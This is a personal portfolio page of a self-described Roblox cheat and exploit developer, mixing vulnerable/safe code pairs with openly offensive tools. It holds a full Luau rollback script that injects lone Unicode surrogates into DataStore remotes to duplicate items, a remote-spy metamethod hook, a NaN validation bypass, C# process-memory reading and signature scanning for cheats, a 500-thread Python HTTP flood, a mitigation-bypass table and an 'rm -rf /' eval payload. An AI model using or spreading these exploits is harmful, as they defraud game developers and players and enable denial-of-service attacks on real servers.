EXPLOIT HUB|UNAUTHORIZED ACCESS DETECTED
PORTFOLIO
// luau exploit dev & cheat engineer
LUAU
PYTHON
C
C#
ABOUT ME
IC NAMERayVinz , 4z6933 , 406933
LOCATIONThailand
STATUS● ACTIVE
MY NAMEKevin
AGE19
OWNER HUBRayVinz
SPECIALTYSMART ON WRONG WAY
STACKLUA / PYTHON / C / C#
SCRIPTS200+
My name is Kevin.
I work as a Developer, Cheating and Exploit.
I build exploits & cheat hubs — specializing in Luau database, attack so many game around 350+ that we already attack.
Stack: Luau · Python · C · C#
My Dream is to beRICH.
ATTACK STATS
0
GAMES ATTACKED
confirmed bypasses
0
GAME ROLLBACKS
forced version reverts
0
SCRIPTS WRITTEN
active exploits
0
ANTICHEAT BYPASSES
detection evaded
MY SPOTIFY
RAYVINZ HUB
KNOWLEDGE BASE
● SANDBOXED
LUAU — RemoteEvent Exploit
client→server trust abuse
✗ VULNERABLE SERVER
-- Server trusts client blindly local re = game.ReplicatedStorage.GiveItem re.OnServerEvent:Connect( function(player, itemId, amount) -- NO validation at all! player.Backpack:AddItem(itemId, amount) -- exploit: amount = math.huge -- itemId = "AdminSword" end )
✓ SAFE SERVER
-- Server validates everything local VALID = {sword=true, shield=true} local MAX_AMT = 99 re.OnServerEvent:Connect( function(player, itemId, amt) if not VALID[itemId] then return end amt = math.clamp(amt, 1, MAX_AMT) player.Backpack:AddItem(itemId, amt) end )
WHY IT WORKS: Roblox client can fire any RemoteEvent with any arguments. NEVER trust client input — always validate type, range, and whitelist item IDs server-side.
● EXPLOIT
Hook Remote Spy
intercept all server calls via metamethod
// REMOTE SPY — logs every FireServer / InvokeServer
local old old = hookmetamethod(game, "__namecall", function(self, ...) local m = getnamecallmethod() if m == "FireServer" or m == "InvokeServer" then warn("[REMOTE]", self:GetFullName(), m, ...) -- self = the RemoteEvent/Function object -- ... = all arguments being sent to server end return old(self, ...) -- still call original end)
NaN BYPASS: local nan = 0/0 — NaN bypasses both if amount > 0 and if amount <= 0 guards since all NaN comparisons return false. Use on amount-validation remotes.
● RCE RISK
PYTHON — eval() & pickle Injection
eval() on user input = Remote Code Execution
✗ VULNERABLE
# eval on user input = RCE import pickle def calc(expr): # attacker sends: # __import__('os').system('cmd') return eval(expr) def load_save(data): # malicious pickle = RCE return pickle.loads(data)
✓ SAFE
# use ast.literal_eval instead import ast, json def calc(expr): ok = set('0123456789+-*/(). ') if not set(expr) <= ok: raise ValueError("blocked") return ast.literal_eval(expr) def load_save(data): # JSON is safe, pickle is NOT return json.loads(data)
WHY IT WORKS: eval() executes any Python. Attacker sends __import__('os').system('rm -rf /') = full RCE. Never eval untrusted input. Never pickle.loads from network.
● TOOL
Webhook Logger + Key Generator
send exploit results to Discord
// DISCORD WEBHOOK
import requests def send_log(url, pet, size, mut): data = { "username": "RayVinzHub", "embeds": [{ "title": "🎉 Target Found!", "description": ( f"Pet: **{pet}**\n" f"Size: **{size}**\n" f"Mut: **{mut}**" ), "color": 0x00e87a }] } requests.post(url, json=data)
// KEY GENERATOR
import secrets, string, hashlib def gen_key(prefix="RVZ"): chars = (string.ascii_uppercase + string.digits) raw = ''.join( secrets.choice(chars) for _ in range(20)) return f"{prefix}-{raw[:5]}-{raw[5:10]}-{raw[10:]}" def hash_key(key): return hashlib.sha256( key.encode()).hexdigest()[:16].upper() # RVZ-A3K9F-2X8QP-NM4RVWTJ
USAGE: hash_key() result is stored server-side. When user submits key, hash it and compare. Key is never stored raw.
● HIGH RISK
C — Stack Buffer Overflow
gets() / strcpy() — classic overflow primitive
✗ VULNERABLE
// NO bounds check — DANGEROUS #include <stdio.h> #include <string.h> void login(char *input) { char buf[64]; gets(buf); // ← OVERFLOW strcpy(buf, input); // ← no limit printf("Hello: %s\n", buf); } // input > 64 bytes → overwrites: // [buf 64B][saved RBP][return addr]
✓ SAFE
// Bounded — SAFE version #include <stdio.h> #include <string.h> void login(char *input) { char buf[64]; fgets(buf, sizeof(buf), stdin); strncpy(buf, input, 63); buf[63] = '\0'; printf("Hello: %s\n", buf); } // fgets/strncpy respect the limit
WHY IT WORKS: gets() writes past buf[64] → overwrites return address on stack → attacker controls EIP → shellcode runs. Always use fgets() with explicit size.
● HIGH RISK
C — Heap Overflow & Stack Layout
corrupt adjacent heap chunk → arbitrary write
✗ HEAP OVERFLOW
char *a = malloc(32); char *b = malloc(32); // a and b are adjacent on heap // overflow a → corrupts b's header memcpy(a, attacker_data, 64); // b's malloc header is now corrupt // free(b) → arbitrary write primitive
// STACK MEMORY MAP
// high address (top of stack frame) ┌────────────────────┐ │ return address │ ← overwrite target │ saved RBP │ │ buf[48..63] │ │ buf[32..47] │ │ buf[16..31] │ │ buf[ 0..15] │ ← write starts here └────────────────────┘ // low address (input enters here) // 64B buf + 8B RBP + 8B RET = 80 bytes
PROTECTIONS: Stack Canary (detect overwrite), ASLR (randomize addresses), NX/DEP (no exec stack). Bypass: leak canary → overwrite; leak addr → bypass ASLR; ROP chains → bypass NX.
● CLR SAFE
C# — unsafe Pointer Overflow
only risky inside unsafe{} + stackalloc blocks
✗ VULNERABLE (unsafe block)
// unsafe — no CLR bounds checking! unsafe { char* buf = stackalloc char[64]; string input = GetInput(); for (int i=0; i<input.Length; i++) buf[i] = input[i]; // no bound check // if input.Length > 64 → OVERFLOW }
✓ SAFE (managed code)
// CLR auto-bounds-checks arrays string input = GetInput(); char[] buf = new char[64]; Array.Copy( input.ToCharArray(), buf, Math.Min(input.Length, 64)); // Or Span<T> — safe stack slice: Span<char> s = stackalloc char[64]; input.AsSpan(0, 64).CopyTo(s);
KEY POINT: C# is safe by default — CLR throws IndexOutOfRangeException on array overread. Overflow only possible inside unsafe{}. Never use unsafe on user-controlled input.
● TOOL
C# — Memory Read / Write + AOB Scan
ReadProcessMemory / signature scan via P/Invoke
// READ GAME MEMORY
using System.Runtime.InteropServices; [DllImport("kernel32.dll")] static extern bool ReadProcessMemory( IntPtr hProc, IntPtr addr, byte[] buf, int size, out int read); // read 4 bytes (int) from address byte[] buf = new byte[4]; ReadProcessMemory(proc.Handle, (IntPtr)0xDEADBEEF, buf, 4, out _); int val = BitConverter.ToInt32(buf, 0);
// AOB SIGNATURE SCAN
// 0xFF = wildcard byte byte[] Scan(byte[] mem, byte[] pat) { for (int i=0; i<mem.Length-pat.Length; i++){ bool found = true; for (int j=0; j<pat.Length; j++){ if (pat[j] != 0xFF && mem[i+j] != pat[j]){ found=false; break; } } if (found) return BitConverter.GetBytes(i); } return null; }
USAGE: AOB scan finds the function/value in memory even when ASLR randomizes the base address — the byte pattern stays the same between game versions.
● CONCEPT
Buffer Overflow — How It Works
write past buffer end → overwrite return address → hijack EIP
// NORMAL (20 bytes input)
┌─────────────────────┐ ← high addr │ return addr 0x8048xx│ untouched ✓ │ saved RBP 0xffff00d0│ untouched ✓ │ buf[48–63] 00000000 │ untouched ✓ │ buf[32–47] 00000000 │ untouched ✓ │ buf[16–31] 41414141 │ ← written │ buf[ 0–15] 41414141 │ ← write starts └─────────────────────┘ ← low addr (input) RESULT: function returns safely ✓
// OVERFLOW (80 bytes input)
┌─────────────────────┐ ← high addr │ return addr 0x41414141│ ← HIJACKED! │ saved RBP 41414141 │ ← overwritten │ buf[48–63] 41414141 │ ← overflows │ buf[32–47] 41414141 │ ← overflows │ buf[16–31] 41414141 │ ← overflows │ buf[ 0–15] 41414141 │ ← write starts └─────────────────────┘ ← low addr (input) RESULT: jumps to attacker shellcode
MATH: buf = 64 bytes. Input 80 bytes → 64 fill buf, 8 overwrite saved RBP, 8 overwrite return addr. Now when function does ret → CPU reads hijacked return address → jump to shellcode.
● MITIGATIONS
Protections & Bypass Methods
every defense has a known bypass technique
PROTECTION │ WHAT IT DOES │ BYPASS ──────────────┼─────────────────────────────┼────────────────────────────── Stack Canary │ random value before ret addr│ leak canary via format string ASLR │ randomize base addresses │ info leak → calc offsets NX / DEP │ stack/heap not executable │ ROP chains (ret-oriented prog) PIE │ position independent exe │ partial overwrite (1-2 bytes) CFG │ validate indirect calls │ vtable corruption SafeSEH │ validate exception handlers │ overwrite on older Windows
ROP CHAINS: Instead of injecting shellcode (blocked by NX), chain existing code snippets ("gadgets") ending in ret — each gadget does a small action, together they form a payload without new code.
● CONCEPT
Stack vs Heap Memory
different exploit paths — know where your data lives
// STACK
• Fixed size (~1–8 MB) • Auto alloc / auto free • Local variables • Function call frames • Fast (just move stack pointer) • Grows DOWNWARD in memory void foo() { int x = 5; // stack alloc char buf[64]; // stack alloc } // freed automatically on return OVERFLOW → overwrite return addr → RIP control
// HEAP
• Dynamic, large (GBs possible) • Manual malloc() / free() • Objects, arrays, long-lived data • Slower (allocator overhead) • Managed by ptmalloc / jemalloc • Grows UPWARD in memory char *p = malloc(64); // heap alloc free(p); // must free manually p[0] = 'A'; // USE-AFTER-FREE! OVERFLOW → corrupt chunk headers → arb write
USE-AFTER-FREE: free() returns memory to allocator. Next malloc() of same size gets that memory back. If attacker controls that allocation, they control the freed pointer → type confusion → code exec.
● EXPLOIT
Use-After-Free (UAF)
access freed memory → attacker-controlled vtable pointer
Object *obj = new Object(); // alloc at 0x1234 obj->doThing(); // ✓ fine free(obj); // freed → 0x1234 reusable // attacker allocates same size with controlled data: char *evil = malloc(sizeof(Object)); // allocator returns 0x1234 again! memcpy(evil, attacker_vtable, sizeof(Object)); obj->doThing(); // obj still points to 0x1234 // vtable ptr now → attacker code → PWNED
FIX: Set pointer to null after free: free(obj); obj = NULL; — then check before use. Modern allocators add poisoning to detect UAF bugs.
● ROBLOX
How DataStore Works
JSON serialize → key-value remote write → if it fails, no save
// NORMAL SAVE FLOW
local DS = game:GetService("DataStoreService") local store = DS:GetDataStore("PlayerData") game.Players.PlayerRemoving:Connect( function(player) local data = { gems = player.Gems.Value, units = getUnits(player) } -- JSONEncode runs internally store:SetAsync( "Player_"..player.UserId, data) -- if JSONEncode throws → SetAsync -- never runs → NO SAVE → rollback end )
✗ WHAT BREAKS JSONEncode
-- lone UTF-16 surrogates = invalid JSON "\u{d800}" -- lone high surrogate "\u{dfff}" -- lone low surrogate string.char(0xed, 0xa0, 0x80) -- raw UTF-8 of U+D800 -- inject via any remote that DataStore writes: SettingsRemote:FireServer( "musicEnabled", "\u{d800}") -- server: JSONEncode("\u{d800}") → ERROR -- SetAsync never called → NO SAVE -- on rejoin: last GOOD save loads ✓
WHY SURROGATES BREAK IT: Lone surrogates (U+D800–U+DFFF) are valid in Lua strings (just bytes) but the JSON spec forbids them. Roblox's JSONEncode throws a Lua error → pcall catches but SetAsync already skipped.
● EXPLOIT
Rollback — Full Timeline
corrupt DataStore save → restore previous snapshot → keep items
t=0 Player has 10 crates saved in DataStore t=1 Player opens 10 crates → inventory: 0 crates + new items in memory t=2 BEFORE autosave fires: inject unicode → corrupt pending save SettingsRemote:FireServer("key", "\u{d800}") t=3 Player teleports out → server tries to save on PlayerRemoving t=4 JSONEncode fails → SetAsync aborted → save SKIPPED t=5 Player rejoins → DataStore:GetAsync loads LAST GOOD SAVE t=6 Player has 10 crates AGAIN + keeps items from t=1 ✓
KEY TIMING: You must corrupt the save BEFORE the server's autosave timer fires AND BEFORE PlayerRemoving. Some games save every 5 min — teleport right after getting the item.
● SCRIPT
Full Rollback Implementation
fire unicode at all DataStore remotes → teleport out
local RS = game:GetService("ReplicatedStorage") local Players = game:GetService("Players") local TS = game:GetService("TeleportService") local lp = Players.LocalPlayer local function rollback() -- fire unicode at every remote that writes to DataStore local targets = { "CraftPotion", "Enchant", "EquipTitle", "EquipBanner", "DeleteUnit", "EquipUnit" } for _, name in ipairs(targets) do pcall(function() RS.Remotes.Functions[name]:InvokeServer("\u{d800}") end) task.wait(0.05) end -- leave server before retry save can complete if #Players:GetPlayers() <= 5 then TS:Teleport(game.PlaceId, lp) else TS:TeleportToPlaceInstance(game.PlaceId, game.JobId, lp) end end rollback()
TIP: Use the remote spy (LUAU tab) first to find which remotes in your target game write strings to DataStore. More hits = higher chance of corrupting the save.
● NETWORK
DDoS — Distributed Denial of Service
flood target with traffic → server unable to respond → crash
// ATTACK TYPE OVERVIEW
| TYPE | LAYER | METHOD | GOAL |
|---|---|---|---|
| UDP Flood | L3/L4 | Spam UDP packets → target wastes CPU checking ports | Bandwidth exhaust |
| SYN Flood | L4 TCP | Send SYN, never ACK → fill connection table with half-open states | Connection exhaust |
| HTTP Flood | L7 App | Spam valid HTTP GET/POST → server processes each, CPU dies | CPU / DB exhaust |
| DNS Amplify | L3/L7 | Spoof victim's IP → DNS sends huge response to victim (70× amp) | Bandwidth amplify |
| Slowloris | L7 App | Open many connections, send partial HTTP headers, never finish | Thread pool exhaust |
DISTRIBUTED: DDoS uses a botnet (thousands of compromised machines) so traffic comes from many IPs — can't just block one IP. Volumetric attacks can hit Tbps level.
● SIMULATION
HTTP Flood vs Rate Limiting (Python)
server with no rate limit vs protected server
✗ NO PROTECTION
# Attacker side — HTTP flood import threading, requests TARGET = "http://target.com/api" def flood(): while True: try: requests.get(TARGET, timeout=1) except: pass # launch 500 threads = 500 reqs/sec for _ in range(500): threading.Thread( target=flood, daemon=True ).start() # server CPU → 100%, OOM crash
✓ RATE LIMITING (Flask)
# Server side — rate limit per IP from flask import Flask, request, abort from collections import defaultdict import time app = Flask(__name__) hits = defaultdict(list) def rate_limit(ip, limit=30, window=60): now = time.time() hits[ip] = [t for t in hits[ip] if now-t < window] if len(hits[ip]) >= limit: abort(429) # Too Many Requests hits[ip].append(now) @app.route('/api') def api(): rate_limit(request.remote_addr) return "OK"
REAL PROTECTIONS: Rate limiting (per IP), CDN (Cloudflare absorbs traffic), anycast routing (distribute across PoPs), firewall ACLs (block known bad CIDRs), SYN cookies (stateless TCP handshake), CAPTCHA for L7 floods.
● ROBLOX CONTEXT
Server Stress via Remote Spam
fire remotes at max rate → server thread exhaustion → lag kick
✗ SERVER-SIDE (no throttle)
-- Each call does heavy computation remote.OnServerEvent:Connect( function(player) -- no call rate check! local result = heavyCalculation() DataStore:SetAsync(key, result) -- attacker fires 60x/sec -- server CPU spikes → lag kick end )
✓ THROTTLED (server-side)
local lastCall = {} local COOLDOWN = 1 -- 1 sec min remote.OnServerEvent:Connect( function(player) local now = os.clock() local uid = player.UserId if (now - (lastCall[uid] or 0)) < COOLDOWN then return end lastCall[uid] = now -- safe to process end )
ROBLOX LIMITS: Roblox already throttles FireServer to ~60/sec client-side, but server-side you still need per-player cooldowns on expensive operations. DataStore also has a budget limit (60 writes/min for whole server).
LABS
STACK MEMORY
0 / 16 slots — 0%
[ STACK EMPTY — PUSH DATA ]
ready.
[ DataStore Attack Simulator — press RUN ATTACK ]
✓
NORMAL STATE
Player data is saved. DataStore is healthy. Inventory intact.
DataStore:SetAsync("Player_123", { gems=500, units=12 })
⚡
EXPLOIT FIRES
Unicode surrogate pair injected into a settings remote before autosave.
SettingsRemote:FireServer("\u{d800}\u{dfff}")
✖
DATASTORE CORRUPTED
JSONEncode fails on surrogate. DataStore throws error. Save aborted.
[ERROR] DataStore write failed: invalid UTF-8 sequence
↩
PLAYER TELEPORTS
Player leaves the server before retry save can complete.
TeleportService:Teleport(game.PlaceId, lp)
⟳
ROLLBACK COMPLETE
Roblox loads last valid snapshot. Previous inventory restored.
DataStore:GetAsync("Player_123") → { gems=500, units=12 } ✓
404
PAGE NOT FOUND — UNAUTHORIZED ACCESS DETECTED
RayVinzHub Error Report
> attempting to locate resource...
> path: /restricted/payload/execute
> status: ACCESS_DENIED
> code: 0x0000_404
> handler: nullPtr exception at 0x7fff_dead
> stack trace:
at exploit.loadstring [0x00beef]
at remote.InvokeServer [0x00cafe]
at rollback.execute [0x00dead]
> SYSTEM HALTED — press SIMULATE to replay
> attempting to locate resource...
> path: /restricted/payload/execute
> status: ACCESS_DENIED
> code: 0x0000_404
> handler: nullPtr exception at 0x7fff_dead
> stack trace:
at exploit.loadstring [0x00beef]
at remote.InvokeServer [0x00cafe]
at rollback.execute [0x00dead]
> SYSTEM HALTED — press SIMULATE to replay